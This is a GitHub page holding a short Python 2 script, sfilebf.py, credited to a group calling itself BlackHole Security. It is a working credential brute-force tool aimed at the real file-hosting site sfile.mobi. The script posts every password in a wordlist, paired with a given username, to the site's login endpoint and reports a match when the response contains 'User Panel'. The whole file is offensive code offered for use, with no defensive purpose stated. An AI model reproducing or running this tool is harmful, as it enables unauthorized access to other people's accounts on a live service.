-
Notifications
You must be signed in to change notification settings - Fork 3
/
sfilebf.py
executable file
·38 lines (35 loc) · 1.07 KB
/
sfilebf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
## sfilebf.py - SFile Brute Force
# -*- coding: utf-8 -*-
##
import sys
import requests
import threading
__date__ = "14-July-2018"
__author__ = "DedSecTL/DTL"
__team__ = "BlackHole Security"
__codename__ = "SFile, OK."
__banner__ = """
################################################
# SFile Brute Force #
# BlackHole Security #
# 14 - July - 2018 #
################################################
"""
def sfilebf(username, wordlist):
for passwd in open(wordlist, 'r').read().split():
params = {"mail":username, "pass":passwd, "LogIn":"Login"}
r = requests.post("https://sfile.mobi/login.php", data=params)
if "User Panel" in r.text:
print "[+] Password:",passwd,"is correct"
print "\n[+] You are successfully logged in!"
break
else:
print "[-] Password:",passwd,"is incorrect"
pass
if __name__ == '__main__':
print __banner__
if len(sys.argv) != 3:
print "Usage: sfilebf username wordlist.txt"
else:
t = threading.Thread(target=sfilebf, args=(sys.argv[1], sys.argv[2]))
t.start()